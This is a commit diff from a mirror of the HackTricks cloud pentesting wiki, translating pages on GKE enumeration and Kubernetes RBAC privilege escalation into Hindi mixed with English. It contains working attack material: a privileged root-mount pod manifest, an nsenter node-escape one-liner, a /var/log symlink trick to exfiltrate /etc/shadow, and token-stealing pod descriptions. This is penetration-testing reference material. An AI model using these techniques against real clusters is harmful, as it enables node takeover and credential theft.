mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-enu
This commit is contained in:
+38
-22
@@ -1,10 +1,10 @@
|
||||
# GCP - कंटेनर और GKE Enum
|
||||
# GCP - Containers & GKE Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## कंटेनर
|
||||
## Containers
|
||||
|
||||
GCP कंटेनरों में आप GCP द्वारा प्रदान की जाने वाली अधिकांश कंटेनर आधारित सेवाएँ पा सकते हैं, यहाँ आप सबसे सामान्य सेवाओं को सूचीबद्ध करने का तरीका देख सकते हैं:
|
||||
GCP containers में आप GCP द्वारा ऑफर किए गए most of the containers based services पा सकते हैं, यहाँ आप देख सकते हैं कि सबसे common ones को कैसे enumerate करें:
|
||||
```bash
|
||||
gcloud container images list
|
||||
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
|
||||
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
इस पृष्ठ पर आप देख सकते हैं कि **कंटेनर अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**:
|
||||
निम्नलिखित पेज में आप देख सकते हैं कि **container permissions का abuse करके privileges कैसे escalate करें**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -32,7 +32,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
|
||||
## Node Pools
|
||||
|
||||
ये मशीनों (नोड्स) का पूल हैं जो कुबेरनेट्स क्लस्टर बनाते हैं।
|
||||
ये machines (nodes) का pool हैं जो kubernetes clusters बनाते हैं।
|
||||
```bash
|
||||
# Pool of machines used by the cluster
|
||||
gcloud container node-pools list --zone <zone> --cluster <cluster>
|
||||
@@ -40,53 +40,69 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
|
||||
```
|
||||
## Kubernetes
|
||||
|
||||
Kubernetes क्या है इस बारे में जानकारी के लिए इस पृष्ठ को देखें:
|
||||
Kubernetes के बारे में जानकारी के लिए यह page देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/
|
||||
{{#endref}}
|
||||
|
||||
पहले, आप यह जांच सकते हैं कि क्या आपके प्रोजेक्ट में कोई Kubernetes क्लस्टर मौजूद हैं।
|
||||
सबसे पहले, आप यह check कर सकते हैं कि आपके project में कोई Kubernetes clusters मौजूद हैं या नहीं।
|
||||
```
|
||||
gcloud container clusters list
|
||||
```
|
||||
यदि आपके पास एक क्लस्टर है, तो आप `gcloud` को अपने `~/.kube/config` फ़ाइल को स्वचालित रूप से कॉन्फ़िगर करने के लिए कह सकते हैं। यह फ़ाइल आपको प्रमाणित करने के लिए उपयोग की जाती है जब आप [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) का उपयोग करते हैं, जो K8s क्लस्टरों के साथ बातचीत करने के लिए मूल CLI है। इस कमांड को आजमाएँ।
|
||||
यदि आपके पास एक cluster है, तो आप `gcloud` को अपने `~/.kube/config` file को automatically configure करने दे सकते हैं। यह file आपको authenticate करने के लिए इस्तेमाल होती है जब आप [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) का उपयोग करते हैं, जो K8s clusters के साथ interact करने के लिए native CLI है। यह command try करें।
|
||||
```
|
||||
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
|
||||
```
|
||||
फिर, उत्पन्न किए गए क्रेडेंशियल्स को देखने के लिए `~/.kube/config` फ़ाइल पर नज़र डालें। इस फ़ाइल का उपयोग सक्रिय `gcloud` सत्र द्वारा उपयोग की जा रही समान पहचान के आधार पर स्वचालित रूप से एक्सेस टोकन को ताज़ा करने के लिए किया जाएगा। इसके लिए सही अनुमतियों की आवश्यकता होती है।
|
||||
फिर, `~/.kube/config` फ़ाइल देखें ताकि generated credentials देख सकें। इस फ़ाइल का उपयोग उसी identity के आधार पर access tokens को automatically refresh करने के लिए किया जाएगा जिसका उपयोग आपका active `gcloud` session कर रहा है। इसके लिए, निश्चित रूप से, सही permissions का होना ज़रूरी है।
|
||||
|
||||
एक बार जब यह सेट हो जाए, तो आप क्लस्टर कॉन्फ़िगरेशन प्राप्त करने के लिए निम्नलिखित कमांड आज़मा सकते हैं।
|
||||
एक बार यह set up हो जाने पर, cluster configuration पाने के लिए आप निम्न command try कर सकते हैं।
|
||||
```
|
||||
kubectl cluster-info
|
||||
```
|
||||
आप `gcloud` के बारे में कंटेनरों के लिए [यहाँ](https://cloud.google.com/sdk/gcloud/reference/container/) अधिक पढ़ सकते हैं।
|
||||
आप `gcloud` के बारे में containers के लिए [यहाँ](https://cloud.google.com/sdk/gcloud/reference/container/) और पढ़ सकते हैं।
|
||||
|
||||
यह GCP में कुबेरनेट्स को सूचीबद्ध करने के लिए एक सरल स्क्रिप्ट है: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
यह GCP में kubernetes को enumerate करने के लिए एक simple script है: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
|
||||
### TLS बूटस्ट्रैप विशेषाधिकार वृद्धि
|
||||
### Current GKE identity and metadata checks
|
||||
|
||||
शुरुआत में, इस विशेषाधिकार वृद्धि तकनीक ने **GKE क्लस्टर के अंदर प्रिवेस्क** की अनुमति दी, जिससे एक हमलावर को **पूर्ण रूप से समझौता करने** की अनुमति मिली।
|
||||
जब modern GKE clusters की review करें, तो Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, और node credentials को अलग-अलग देखें। एक Google principal अक्सर `container.clusters.get` के साथ cluster endpoint data retrieve कर सकता है, लेकिन resulting Kubernetes requests को फिर भी GKE/Kubernetes authorization और किसी भी network restrictions, जैसे private endpoints या authorized networks, को pass करना होता है।
|
||||
|
||||
यह इसलिए है क्योंकि GKE [TLS बूटस्ट्रैप क्रेडेंशियल्स](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) को मेटाडेटा में प्रदान करता है, जो **किसी भी व्यक्ति द्वारा केवल एक पॉड को समझौता करके** सुलभ है।
|
||||
GKE के लिए Workload Identity Federation pods के लिए Google Cloud APIs access करने का preferred तरीका है। Check करें कि cluster में workload pool है या नहीं, और क्या Kubernetes service accounts सीधे IAM principals के रूप में mapped हैं या उन्हें IAM service accounts impersonate करने की अनुमति है:
|
||||
```bash
|
||||
gcloud container clusters describe <cluster> --region <region> \
|
||||
--format='value(workloadIdentityConfig.workloadPool)'
|
||||
|
||||
उपयोग की गई तकनीक निम्नलिखित पोस्ट में समझाई गई है:
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
|
||||
```
|
||||
यदि किसी service account के पास `iam.gke.io/gcp-service-account` annotation है, तो Kubernetes service account principals को दिए गए `roles/iam.workloadIdentityUser` grants के लिए IAM service account policy की समीक्षा करें। साथ ही direct workload identity principals या broad principal sets के लिए IAM allow policies भी जांचें।
|
||||
|
||||
Metadata access cluster mode, node pool configuration, और workload settings पर निर्भर करता है। यह मानकर न चलें कि हर pod node service account चुरा सकता है। Workload Identity-enabled environments में, सामान्य pods को अपनी Kubernetes service account के लिए intended workload identity प्राप्त करने हेतु GKE metadata server का उपयोग करना चाहिए। Node compromise, कुछ Standard configurations में `hostNetwork` pods, और legacy node metadata exposure अभी भी blast radius बदल सकते हैं, इसलिए actual node pool metadata mode, node service account, OAuth scopes, और pod placement verify करें।
|
||||
|
||||
### TLS Boostrap Privilege Escalation
|
||||
|
||||
शुरुआत में यह privilege escalation technique **GKE cluster के अंदर privesc** करने की अनुमति देती थी, जिससे attacker इसे **पूरी तरह compromise** कर सकता था।
|
||||
|
||||
यह इसलिए संभव था क्योंकि GKE metadata में [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) देता है, जो **केवल एक pod compromise करके कोई भी access कर सकता था**।
|
||||
|
||||
इस्तेमाल की गई technique को निम्न posts में समझाया गया है:
|
||||
|
||||
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
|
||||
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
|
||||
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
|
||||
|
||||
और इस उपकरण को प्रक्रिया को स्वचालित करने के लिए बनाया गया था: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
|
||||
और इस process को automate करने के लिए यह tool बनाया गया था: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
|
||||
|
||||
हालांकि, तकनीक ने इस तथ्य का दुरुपयोग किया कि **मेटाडेटा क्रेडेंशियल्स के साथ** एक **नए नोड** के लिए **CSR** (सर्टिफिकेट साइनिंग अनुरोध) **जनरेट करना संभव था**, जिसे **स्वचालित रूप से स्वीकृत** किया गया था।\
|
||||
मेरी परीक्षा में मैंने जांचा कि **वे अनुरोध अब स्वचालित रूप से स्वीकृत नहीं होते**, इसलिए मुझे यकीन नहीं है कि यह तकनीक अभी भी मान्य है।
|
||||
हालांकि, इस technique ने इस fact का misuse किया कि **metadata credentials के साथ** **नई node** के लिए **CSR** (Certificate Signing Request) generate करना संभव था, जिसे **automatically approved** किया जाता था।\
|
||||
मेरे test में मैंने check किया कि **वे requests अब automatically approved नहीं होतीं**, इसलिए मुझे नहीं पता कि यह technique अभी भी valid है या नहीं।
|
||||
|
||||
### Kubelet API में रहस्य <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
|
||||
[**इस पोस्ट**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) में यह खोजा गया था कि GKE में एक पॉड के अंदर से सुलभ Kubelet API पता है जो चल रहे पॉड्स के विवरण देता है:
|
||||
[**इस post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) में यह discovered हुआ कि GKE में एक pod के अंदर से accessible Kubelet API address था, जो चल रहे pods के details देता था:
|
||||
```
|
||||
curl -v -k http://10.124.200.1:10255/pods
|
||||
```
|
||||
भले ही API **संसाधनों को संशोधित करने की अनुमति नहीं देती**, फिर भी प्रतिक्रिया में **संवेदनशील जानकारी** मिलना संभव हो सकता है। एंडपॉइंट /pods को [**Kiterunner**](https://github.com/assetnote/kiterunner) का उपयोग करके पाया गया।
|
||||
भले ही API **resources को modify करने की अनुमति न दे**, response में **sensitive information** मिल सकती है। endpoint /pods को [**Kiterunner**](https://github.com/assetnote/kiterunner) का उपयोग करके पाया गया।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+138
-136
@@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
यहाँ आप कुछ संभावित रूप से खतरनाक Roles और ClusterRoles कॉन्फ़िगरेशन पा सकते हैं।\
|
||||
याद रखें कि आप सभी समर्थित resources को `kubectl api-resources` से प्राप्त कर सकते हैं
|
||||
यहाँ आपको कुछ संभावित रूप से खतरनाक Roles और ClusterRoles configurations मिलेंगी।\
|
||||
याद रखें कि आप सभी supported resources को `kubectl api-resources` के साथ प्राप्त कर सकते हैं
|
||||
|
||||
## **Privilege Escalation**
|
||||
|
||||
क्लस्टर के भीतर किसी अन्य principal तक **access to a different principal** प्राप्त करने की कला — जो आपके मौजूदा अधिकारों से **with different privileges** हो (within the kubernetes cluster or to external clouds) — Privilege Escalation कहलाती है। Kubernetes में बेसिकली **4 main techniques to escalate privileges** हैं:
|
||||
इसका संदर्भ **cluster** के भीतर **different privileges** वाले **different principal** तक **access** पाने की कला से है (कुबेरनेट्स cluster के भीतर या external clouds में), जो आपके पास पहले से हैं, उससे अलग। Kubernetes में privilege escalation करने की मूल रूप से **4 main techniques** हैं:
|
||||
|
||||
- करने में सक्षम होना **impersonate** other user/groups/SAs जिनके पास बेहतर privileges हों within the kubernetes cluster या to external clouds
|
||||
- करने में सक्षम होना **create/patch/exec pods** जहाँ आप **find or attach SAs** कर सकते हैं जिनके पास बेहतर privileges within the kubernetes cluster या to external clouds
|
||||
- करने में सक्षम होना **read secrets** क्योंकि SAs tokens secrets के रूप में स्टोर होते हैं
|
||||
- container से करने में सक्षम होना **escape to the node**, जहाँ आप node पर चल रहे containers के सभी secrets, node के credentials, और उस node के cloud permissions (यदि कोई हों) चुरा सकते हैं
|
||||
- एक पाँचवीं तकनीक जिसका उल्लेख योग्य है वह है pod में **run port-forward** करने की क्षमता, क्योंकि आप उस pod के अंदर रुचिकर resources तक पहुँच सकते हैं।
|
||||
- बेहतर privileges वाले अन्य user/groups/SAs को **impersonate** करने में सक्षम होना, kubernetes cluster के भीतर या external clouds में
|
||||
- ऐसे pods को **create/patch/exec** करने में सक्षम होना जहाँ आप kubernetes cluster के भीतर या external clouds में बेहतर privileges वाले SAs **find or attach** कर सकें
|
||||
- **secrets** पढ़ने में सक्षम होना, क्योंकि SAs tokens secrets के रूप में stored होते हैं
|
||||
- container से node पर **escape** करने में सक्षम होना, जहाँ आप node पर चल रहे containers के सभी secrets, node के credentials, और उस cloud में node की permissions चुरा सकते हैं जिसमें वह चल रहा है (यदि कोई हो)
|
||||
- एक पाँचवीं technique जिसका उल्लेख किया जाना चाहिए, वह है pod में **run port-forward** करने की क्षमता, क्योंकि आप उस pod के भीतर interesting resources तक access कर सकते हैं।
|
||||
|
||||
### किसी भी Resource या Verb तक पहुँच (Wildcard)
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
**wildcard (\*) किसी भी resource पर किसी भी verb के लिए permission देता है**। इसे admins उपयोग करते हैं। ClusterRole के अंदर इसका मतलब है कि एक attacker क्लस्टर के किसी भी namespace का दुरुपयोग कर सकता है
|
||||
**wildcard (\*)** किसी भी resource पर किसी भी verb के लिए permission देता है। इसका उपयोग admins करते हैं। एक ClusterRole के अंदर इसका मतलब है कि attacker cluster में किसी भीnamespace का abuse कर सकता है
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### किसी विशिष्ट क्रिया के साथ किसी भी संसाधन तक पहुँच
|
||||
### किसी specific verb के साथ कोई भी Resource access करें
|
||||
|
||||
RBAC में, कुछ अनुमतियाँ गंभीर जोखिम पैदा करती हैं:
|
||||
RBAC में, कुछ permissions significant risks पैदा करती हैं:
|
||||
|
||||
1. **`create`:** किसी भी क्लस्टर संसाधन को बनाने की क्षमता देता है, जिससे privilege escalation का जोखिम होता है।
|
||||
2. **`list`:** सभी संसाधनों को सूचीबद्ध करने की अनुमति देता है, संभावित रूप से leaking संवेदनशील डेटा।
|
||||
3. **`get`:** service accounts से secrets तक पहुँचने की अनुमति देता है, जो सुरक्षा खतरे का कारण बनता है।
|
||||
1. **`create`:** किसी भी cluster resource को create करने की ability देता है, जिससे privilege escalation का risk होता है।
|
||||
2. **`list`:** सभी resources को list करने की अनुमति देता है, जिससे sensitive data leak हो सकता है।
|
||||
3. **`get`:** service accounts से secrets access करने की अनुमति देता है, जो एक security threat है।
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -47,11 +47,11 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
### Pod Create - Token चुराएँ
|
||||
|
||||
Pod बनाने की अनुमति रखने वाला attacker एक privileged Service Account को pod में attach कर सकता है और उसके token को चुरा कर उस Service Account का impersonate कर सकता है। परिणामस्वरूप उसके विशेषाधिकार बढ़ जाते हैं।
|
||||
एक attacker जिसके पास pod बनाने की permissions हैं, वह pod में एक privileged Service Account attach कर सकता है और token चुरा सकता है ताकि Service Account की impersonation की जा सके। इससे effectively privileges escalate हो जाते हैं।
|
||||
|
||||
ऐसा pod का उदाहरण जो `bootstrap-signer` service account के token को चुरा कर attacker को भेज देगा:
|
||||
एक pod का example जो `bootstrap-signer` service account का token चुराएगा और उसे attacker को भेजेगा:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -74,12 +74,12 @@ hostNetwork: true
|
||||
```
|
||||
### Pod Create & Escape
|
||||
|
||||
The following indicates all the privileges a container can have:
|
||||
निम्नलिखित उन सभी privileges को दर्शाता है जो एक container के पास हो सकते हैं:
|
||||
|
||||
- **Privileged access** (प्रोटेक्शनों को अक्षम करना और capabilities सेट करना)
|
||||
- **Disable namespaces hostIPC and hostPid** (जो विशेषाधिकार वृद्धि में मदद कर सकते हैं)
|
||||
- **Disable hostNetwork** namespace, (जो nodes के क्लाउड अधिकार चुराने और नेटवर्कों तक बेहतर पहुँच देने का मौका देता है)
|
||||
- **Mount hosts / inside the container** (container के अंदर hosts का / mount करना)
|
||||
- **Privileged access** (protections को disable करना और capabilities set करना)
|
||||
- **Disable namespaces hostIPC and hostPid** जो privileges को escalate करने में मदद कर सकते हैं
|
||||
- **Disable hostNetwork** namespace, जिससे nodes cloud privileges चुराने और networks तक बेहतर access मिलने का रास्ता मिलता है
|
||||
- **Mount hosts / inside the container**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -115,19 +115,19 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Pod बनाएँ:
|
||||
pod बनाएं:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751104) से लिया गया, कुछ अतिरिक्त परिवर्धनों के साथ:
|
||||
[इस ट्वीट](https://twitter.com/mauilion/status/1129468485480751104) से One-liner और कुछ additions के साथ:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
अब जब आप node से escape कर सकते हैं, तो post-exploitation techniques के लिए देखें:
|
||||
अब जब आप node तक escape कर सकते हैं, तो post-exploitation techniques देखें:
|
||||
|
||||
#### Stealth
|
||||
|
||||
आप शायद और भी **stealthier** होना चाहेंगे; नीचे के पृष्ठों में आप देख सकते हैं कि यदि आप पिछले टेम्पलेट में बताए गए कुछ ही privileges को सक्षम करके एक pod बनाते हैं तो आप किन चीज़ों तक पहुँच पाएंगे:
|
||||
आप शायद अधिक **stealthier** होना चाहेंगे, निम्न पृष्ठों में आप देख सकते हैं कि यदि आप केवल पिछले template में बताए गए कुछ privileges को सक्षम करके एक pod बनाते हैं, तो आप क्या access कर पाएंगे:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,14 +136,14 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_पिछले privileged pods configurations को कैसे create/abuse करना है, इसका example आप यहां पा सकते हैं_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
अगर आप **create** कर सकते हैं एक **pod** (और वैकल्पिक रूप से एक **service account**) तो आप संभवतः **cloud environment में privileges प्राप्त** कर सकते हैं by **assigning cloud roles to a pod or a service account** और फिर उसे access करके।\
|
||||
इसके अलावा, अगर आप host network namespace के साथ एक **pod** बना सकते हैं तो आप **node** instance के **IAM** role को **steal** कर सकते हैं।
|
||||
यदि आप एक **pod** (**और वैकल्पिक रूप से एक service account**) **create** कर सकते हैं, तो आप **cloud environment में privileges obtain** करने में सक्षम हो सकते हैं, इसके लिए **pod या service account को cloud roles assign** करके और फिर उन्हें access करके।\
|
||||
इसके अलावा, यदि आप **host network namespace** के साथ एक **pod** create कर सकते हैं, तो आप **node** instance के **IAM** role को **steal** कर सकते हैं।
|
||||
|
||||
For more information check:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
@@ -151,9 +151,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
इन permissions का abuse करके एक नया pod create करना और पिछले उदाहरण की तरह privileges escalate करना संभव है।
|
||||
इन permissions का abuse करके **एक नया pod create** करना और पिछले example की तरह privileges estalae करना संभव है।
|
||||
|
||||
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
निम्न yaml **एक daemonset create करता है और pod के अंदर SA का token exfiltrates करता है**:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,32 +191,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** kubernetes में एक resource है जो **pod के अंदर shell में कमांड चलाने** के लिए उपयोग होता है। यह आपको **containers के अंदर कमांड चलाने या shell प्राप्त करने** की अनुमति देता है।
|
||||
**`pods/exec`** kubernetes में एक resource है जिसका उपयोग **pod के अंदर shell में commands चलाने** के लिए किया जाता है। यह **containers के अंदर commands चलाने या अंदर shell प्राप्त करने** की अनुमति देता है।
|
||||
|
||||
इसलिए, यह संभव है कि आप **pod के अंदर जाकर SA का token चोरी कर लें**, या किसी privileged pod में प्रवेश कर, node पर escape कर, और node में मौजूद pods के सभी tokens चुरा कर node का (ab)use कर सकें:
|
||||
इसलिए, **pod के अंदर जाकर SA का token चुराना**, या एक privileged pod में प्रवेश करना, node से escape करना, और node में मौजूद सभी pods के tokens चुराकर node का (ab)use करना संभव है:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> डिफ़ॉल्ट रूप से यह कमांड pod के पहले container में निष्पादित होता है। `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` चलाकर **container में सभी pods** प्राप्त करें और फिर उस container को जिसे आप निष्पादित करना चाहते हैं, `kubectl exec -it <pod_name> -c <container_name> -- sh` के साथ **निर्दिष्ट करें**।
|
||||
> By default the command is executed in the first container of the pod. Get **all the pods in a container** with `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` and then **indicate the container** where you want to execute it with `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
यदि यह एक distroless container है तो आप containers की जानकारी पाने के लिए **shell builtins** का उपयोग करने की कोशिश कर सकते हैं या अपना टूल जैसे एक **busybox** अपलोड करके इस्तेमाल कर सकते हैं: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**।
|
||||
If it's a distroless container you could try using **shell builtins** to get info of the containers or uplading your own tools like a **busybox** using: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
यह permission आपको **एक लोकल पोर्ट को निर्दिष्ट pod के एक पोर्ट पर फॉरवर्ड करने** की अनुमति देता है। यह pod के अंदर चल रही applications को आसानी से debug करने के लिए है, लेकिन एक attacker इसका दुरुपयोग कर सकता है ताकि वह pod के अंदर के रोचक (जैसे DBs) या vulnerable applications (जैसे web?) तक पहुँच प्राप्त कर सके:
|
||||
This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
जैसा कि [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), अगर आप किसी pod तक एक्सेस कर सकते हैं या ऐसा pod बना सकते हैं जिस पर **hosts `/var/log/` directory mounted** हो, तो आप **escape from the container** कर सकते हैं।\
|
||||
यह इसलिए है क्योंकि जब **Kube-API tries to get the logs** किसी container के (using `kubectl logs <pod>`), तो यह `/logs/` endpoint के माध्यम से उस pod की `0.log` फ़ाइल **requests the `0.log`** करता है।\
|
||||
Kubelet service `/logs/` endpoint को expose करता है जो मूलतः **कंटेनर के `/var/log` filesystem को exposing** करने जैसा है।
|
||||
जैसा कि [**इस research में संकेत दिया गया है**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), अगर आप ऐसे pod को access कर सकते हैं या बना सकते हैं जिस पर **hosts `/var/log/` directory mounted** हो, तो आप **container से escape** कर सकते हैं।\
|
||||
यह मूल रूप से इसलिए है क्योंकि जब **Kube-API container के logs** लेने की कोशिश करता है (`kubectl logs <pod>` का उपयोग करके), तो वह **Kubelet** service के `/logs/` endpoint का उपयोग करके pod की `0.log` file request करता है।\
|
||||
Kubelet service `/logs/` endpoint expose करती है, जो मूल रूप से **container के `/var/log` filesystem को expose** करना ही है।
|
||||
|
||||
इसलिए, कंटेनर के /var/log/ फोल्डर में लिखने की **access to write in the /var/log/ folder** रखने वाला attacker इन व्यवहारों का दुरुपयोग दो तरीकों से कर सकता है:
|
||||
इसलिए, जिस attacker के पास container के **/var/log/** folder में write access है, वह इस behaviour का 2 तरीकों से abuse कर सकता है:
|
||||
|
||||
- अपने container की `0.log` फ़ाइल (आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित) को, उदाहरण के लिए, **symlink pointing to `/etc/shadow`** में modify करना। फिर, आप hosts shadow file को exfiltrate कर पाएँगे ऐसा करके:
|
||||
- अपने container की `0.log` file को modify करना (आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित), ताकि वह उदाहरण के लिए **`/etc/shadow` की ओर pointing एक symlink** बन जाए। फिर, आप ऐसा करके hosts shadow file exfiltrate कर पाएंगे:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- अगर हमलावर किसी भी principal को नियंत्रित करता है जिसके पास **`nodes/log` पढ़ने की अनुमतियाँ** हैं, तो वह बस `/host-mounted/var/log/sym` में `/` की ओर एक **symlink** बना सकता है और जब **`https://<gateway>:10250/logs/sym/` तक पहुँचने पर वह होस्ट के root** फ़ाइल सिस्टम को सूचीबद्ध करेगा (symlink बदलने से फाइलों तक पहुँच मिल सकती है).
|
||||
- यदि attacker किसी भी principal को **permissions to read `nodes/log`** के साथ control करता है, तो वह बस `/host-mounted/var/log/sym` में `/` की ओर एक **symlink** बना सकता है और जब **`https://<gateway>:10250/logs/sym/`** को access करता है, तो वह host की root filesystem की सूची देख सकेगा (symlink बदलने से files तक access मिल सकता है).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**एक प्रयोगशाला और स्वचालित exploit इस लिंक में पाया जा सकता है** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**एक laboratory और automated exploit यहाँ मिल सकते हैं** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### readOnly सुरक्षा को बायपास करना <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### readOnly protection को bypass करना <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
यदि आप भाग्यशाली हैं और उच्च-विशेषाधिकार capability `CAP_SYS_ADMIN` उपलब्ध है, तो आप फ़ोल्डर को बस rw के रूप में remount कर सकते हैं:
|
||||
अगर आप पर्याप्त lucky हैं और highly privileged capability `CAP_SYS_ADMIN` available है, तो आप बस folder को rw के रूप में remount कर सकते हैं:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### hostPath readOnly सुरक्षा को बायपास करना <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
